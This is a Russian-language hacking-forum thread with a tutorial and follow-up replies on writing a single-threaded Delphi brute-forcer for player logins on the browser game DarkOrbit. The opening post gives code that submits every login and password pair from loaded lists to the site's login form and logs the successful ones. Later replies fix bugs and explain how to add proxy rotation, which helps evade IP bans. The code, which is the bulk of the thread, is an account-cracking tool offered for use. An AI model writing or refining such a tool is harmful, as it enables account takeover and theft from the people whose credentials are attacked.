PDA

Просмотр полной версии : [Статья] делаем простенький брутер


[Na`Vi]DendI
13.06.2012, 04:41
И так хочу сразу предупредить брутер будет у нас однопоточный и без прокси.
В данном примере я покажу как сделать брутер для браузерной игры "DarkOrbit"([Ссылки могут видеть только зарегистрированные и активированные пользователи]).
Кидаем на форму 3 компонента button, 1 компонент TId[Ссылки могут видеть только зарегистрированные и активированные пользователи] компонент openDialog и memo.
Переименуем и роз формируем их так как у меня на скрине:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
в глобальных переменных напишем:

emails,pass:tstringlist; // список ников и паролей
j,i:integer;

Кастуем дабл клик на "LOGINS "
и пишем такой код:
begin
OpenDialog1.InitialDir:=ExtractFilePath(Applicatio n.ExeName);
if OpenDialog1.Execute then
begin
eMails.LoadFromFile(OpenDialog1.FileName);
end;

end;

Дальше 2 раза кликаем на кнопку "PASS"
и пишем такой код:
begin
OpenDialog1.InitialDir:=ExtractFilePath(Applicatio n.ExeName);
if OpenDialog1.Execute then
begin
Pass.LoadFromFile(OpenDialog1.FileName);
end;
end;
А теперь приступим к самому бруту !
Дабл клик на кнопку "Старт" и пишем вот такой код: /problem


var
ssylka,result:string; //думаю тут все
post:tstringlist; //понятно

begin
ssylka:='[Ссылки могут видеть только зарегистрированные и активированные пользователи]'; //здесь указываем ссылку на сайт который будем брутить
post:=tstringlist.Create; // создаем лист
for i:=0 to emails.Count-1 do begin // проверяем,формируем
post.Clear;
post.Add('loginForm_default_username='+emails[i]); //сниффером смотрим наши значения авторизации
for j:=0 to pass.Count-1 do begin // проверяем,формируем
post.Add('loginForm_default_password='+pass[j]);
post.Add('loginForm_default_login_submit=Вход');
result:=form5.id[Ссылки могут видеть только зарегистрированные и активированные пользователи](ssylka,post); //присваиваем пост запрос
if pos('selectInstanceHint',result)<>0 then //если программа спарсит значения 'selectInstanceHint' то мы что то збрутили
form1.Memo1.Lines.Add(PChar('Логин:'+Emails.String s[i]+' Пароль:'+Pass.Strings[j])); выводим то что збрутили в memo
end;
end;
end;

Ну вот и все на этом брут готов,осталось добавить прокси и потоки и у вас полноценный брутер )

D.E.Z.E.R.T.I.R
22.06.2012, 13:17
Можно и без прокси, только тогда

for j:=0 to pass.Count-1 do это первичный цикл, а в нем вложен for i:=0 to emails.Count-1 do

[Na`Vi]DendI
22.06.2012, 15:01
Можно и без прокси, только тогда

for j:=0 to pass.Count-1 do это первичный цикл, а в нем вложен for i:=0 to emails.Count-1 do

Тогда уже проще зделать как сорс лист типо:
var
curacc:integer;
facc,fpas:string;
accounts:tstringlist;
begin
FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));

D.E.Z.E.R.T.I.R
23.06.2012, 14:46
if pos('var menu_send',result)<>0 then //если программа спарсит значения 'selectInstanceHint' то мы что то збрутили begin Memo1.Lines.Add(PChar('Логин:'+Emails.Strings[i]+' Пароль:'+Pass.Strings[j])); //выводим то что збрутили в memo end;

а ты уверен, что не ошибся в этом условии?

[Na`Vi]DendI
25.06.2012, 11:49
Memo1.Lines.Add(PChar('Логин:'+Emails.Strings[i]+' Пароль:'+Pass.Strings[j])); //выводим то что збрутили в memo
end;
I не добавляй и j не добавляй

VeTaL_UA
26.06.2012, 10:14
emails,pass:tstringlist;
Они нигде не создаются, вот и выбивает ошибку.

Skrillex3
26.06.2012, 12:29
procedure TBrute.Button1Click(Sender: TObject); begin OpenDialog1.InitialDir:=ExtractFilePath(Applicatio n.ExeName); if OpenDialog1.Execute then begin Memo2.lines.LoadFromFile(OpenDialog1.FileName); label3.Caption:=inttostr(Memo2.Lines.Count); emails.LoadFromFile(OpenDialog1.FileName); end;
где они у тебя тут создаются?

[Na`Vi]DendI
30.06.2012, 03:06
напиши правильный код плиз
напиши 2 отдельные процедуры,1 процедура авторизации:
ssylka:='[Ссылки могут видеть только зарегистрированные и активированные пользователи]';
post:=tstringlist.Create;
for i:=0 to emails.Count-1 do begin
post.Clear;
post.Add('login_name='+emails[i]);
for j:=0 to pass.Count-1 do begin
post.Add('login_password='+pass[j]);
post.Add('login=submit');
result:=form1.id[Ссылки могут видеть только зарегистрированные и активированные пользователи](ssylka,post);
if pos('var menu_send',result)<>0 then
Synchronize(ShowResult);
а 2 процедура вывода сбрученого в мемо:

procedure ShowResult;
form1.Memo1.Lines.Add(PChar('Логин:'+Emails.String s[i]+' Пароль:'+Pass.Strings[j]));
у формы в onCreat поставь
emails:=tstringlist.Create;
pass:=tstringlist.Create;
тогда при нажатии на кнопку logins и pass ошибки не будет

VeTaL_UA(1)
30.06.2012, 10:16
DendI;3131099"]у формы в onCreat поставь
emails:=tstringlist.Create;
pass:=tstringlist.Create;
тогда при нажатии на кнопку logins и pass ошибки не будет
Плохой вариант.

В процедуре Button1Click в код условия добавь emails:=TStringList.Create;
В процедуре Button2Click в код условия добавь pass:=TStringList.Create;
В процедуре Button2Click в конец добавь emails.Free;
pass.Free;

[Na`Vi]DendI
30.06.2012, 15:23
Плохой вариант.

В процедуре Button1Click в код условия добавь emails:=TStringList.Create;
В процедуре Button2Click в код условия добавь pass:=TStringList.Create;
В процедуре Button2Click в конец добавь emails.Free;
pass.Free;

а чем мой вариант хуже ??/horror

VeTaL_UA(1)
30.06.2012, 17:41
DendI;3132584"]а чем мой вариант хуже ??
Да тем, что он не верный. Стринглист вечно висит в памяти, а это не ок.

[Na`Vi]DendI
30.06.2012, 19:40
Да тем, что он не верный. Стринглист вечно висит в памяти, а это не ок.
Странно,у меня во всех моих программах стринглист в он крит,а чем он мешает если висит в памяти ?

VeTaL_UA(1)
30.06.2012, 19:47
DendI;3133719"]чем он мешает если висит в памяти ?
не экономишь память же.

[Na`Vi]DendI
30.06.2012, 20:40
не экономишь память же.
Поставил только что на кнопки,и впрямь разница есть,а что делать с criticalSection на кнопку же не поставишь /horror

VeTaL_UA(1)
01.07.2012, 12:02
DendI;3133960"]criticalSection на кнопку же не поставишь
А на OnCreate поставишь? /horror

[Na`Vi]DendI
01.07.2012, 12:08
А на OnCreate поставишь?
Поставил /dgs
procedure TForm1.FormCreate(Sender: TObject);
begin
CS:=TcriticalSection.create;
end;

VeTaL_UA(1)
01.07.2012, 21:01
DendI;3135908"]Поставил
/facepalm Тогда другой вопрос, почему его в кнопку не поставишь?

[Na`Vi]DendI
01.07.2012, 21:16
Тогда другой вопрос, почему его в кнопку не поставишь?
поставил и снова моя любимая ошибка сокетс :nono:

[Na`Vi]DendI
04.07.2012, 02:26
Кто нибудь может дать рабочий исходник?
В теме рабочий исходник,если что-то не получаеться задай вопрос в общ/обс.

dadya_fedar
18.07.2012, 09:23
Ребят, а как подключить прокси к программе..?

[Na`Vi]DendI
18.07.2012, 15:04
Ребят, а как подключить прокси к программе..?
proxyip:=Copy(Proxy[PI], 1, Pos(':',Proxy[PI])-1);
proxyport:=Copy(Proxy[PI], Pos(':', Proxy[PI])+1, Length(Proxy[PI]));
id[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Id[Ссылки могут видеть только зарегистрированные и активированные пользователи](proxyport) ;
подачу в цикл и юзай.

[Na`Vi]DendI
18.07.2012, 22:31
Кто может помочь сделать такой брут,только с потоками?
юзай тему
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

[Na`Vi]DendI
21.07.2012, 18:08
Я в делфи новичек,может поможешь зделать многопоточный брут?
Если новичок то - учи основы,потоки еще рано.

AhmedTerorist
02.09.2012, 17:38
Ребят помогите у меня при вствке в глобальную переменную и написания 1 кнопки выходит такая надпись
Could not find source location to add method btn2Click. "END" or INICIALIZATION not found in unit source
Вот такая ошибка при нажатии на все кроме OpenDialog .Как исправить или я что-то не так делаю.Если да то что?

[Na`Vi]DendI
05.09.2012, 21:19
Ребят помогите у меня при вствке в глобальную переменную и написания 1 кнопки выходит такая надпись
Could not find source location to add method btn2Click. "END" or INICIALIZATION not found in unit source
Вот такая ошибка при нажатии на все кроме OpenDialog .Как исправить или я что-то не так делаю.Если да то что?
Вроде же все понятно,забыл где-то поставить ";" или "end;".

лкшл
08.10.2012, 22:23
мм вроде сделал как ты написал выдаёт ошибку
после выбора тхт для загрузки или логина или пароля
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

[Na`Vi]DendI
08.10.2012, 23:16
мм вроде сделал как ты написал выдаёт ошибку
после выбора тхт для загрузки или логина или пароля
tstringlist.creat;

Gamesh
16.12.2012, 19:37
а мона больше потоков сделать или только один?

avi2011class
30.12.2012, 20:45
А как прокси через делфу добавить?

[Na`Vi]DendI
30.12.2012, 21:04
а мона больше потоков сделать или только один?
Смотрите гугл - "Многопоточность".
А как прокси через делфу добавить?
Пару постов выше я объяснил.

[Na`Vi]DendI
01.01.2013, 15:46
А если сервер вбанит ип? Как поткнуть в прокси в поток в этом случае?
Что за вопрос еще, просто прокси в цикл кидай.
"А если сервер вбанит ип?" - Этого я вообще не понял.

Роспотребнадзор
09.01.2013, 08:02
DendI;3984920"]просто прокси в цикл кидай.
А если это все в потоке, тогда в поток цикл не запихаешь. Тогда как быть?

Sinyss
09.01.2013, 08:54
А если это все в потоке, тогда в поток цикл не запихаешь. Тогда как быть?
Да запросто можно...

Kotaries
05.06.2013, 14:48
emails,pass:tstringlist; // список ников и паролей
j,i:integer;
ПРИ СОЗДАНИИ И ЗАКРЫТИИ ФОРМЫ НУЖНО СОЗДАВАТЬ И РАЗРУШАТЬ Email/Pass, иначе трындец будет

begin
OpenDialog1.InitialDir:=ExtractFilePath(Applicatio n.ExeName);
if OpenDialog1.Execute then
begin
//ЗДЕСЬ НУЖНО ПРОВЕРЯТЬ СУЩЕСТВОВАНИЕ ФАЙЛА
if(fileExists(openDialog1.fileName) then
eMails.LoadFromFile(OpenDialog1.FileName);
end;

end;

var
ssylka,result:string; //думаю тут все
post:tstringlist; //понятно

begin
ssylka:='[Ссылки могут видеть только зарегистрированные и активированные пользователи]'; //здесь указываем ссылку на сайт который будем брутить
post:=tstringlist.Create; // создаем лист
for i:=0 to emails.Count-1 do begin // проверяем,формируем
post.Clear;
post.Add('loginForm_default_username='+emails[i]); //сниффером смотрим наши значения авторизации
for j:=0 to pass.Count-1 do begin // проверяем,формируем
post.Add('loginForm_default_password='+pass[j]);
post.Add('loginForm_default_login_submit=Вход');

//ЛЮБОЕ POST/GET ИСПОЛЬЗОВАНИЕ IDHTTP НУЖНО ЗАВОРАЧИВАТЬ В TRY, ИНАЧЕ 404/500 и прочее ***** будет выбивать прогу!!!
try
result:=form5.id[Ссылки могут видеть только зарегистрированные и активированные пользователи](ssylka,post); //присваиваем пост запрос
except;
result:='error';
end;

if pos('selectInstanceHint',result)<>0 then //если программа спарсит значения 'selectInstanceHint' то мы что то збрутили
//НАФИГА ТУТ PCHAR ?
form1.Memo1.Lines.Add(PChar('Логин:'+Emails.String s[i]+' Пароль:'+Pass.Strings[j])); выводим то что збрутили в memo
end;
end;
end;

На первый взгляд заметил несколько грубых косяков.
Афтар, хоть бы сам код свой прочитал, ей-богу...

Sinyss
05.06.2013, 18:43
На первый взгляд заметил несколько грубых косяков.
Афтар, хоть бы сам код свой прочитал, ей-богу...
Автор давно в бане, скайп взломан, в общем нету его )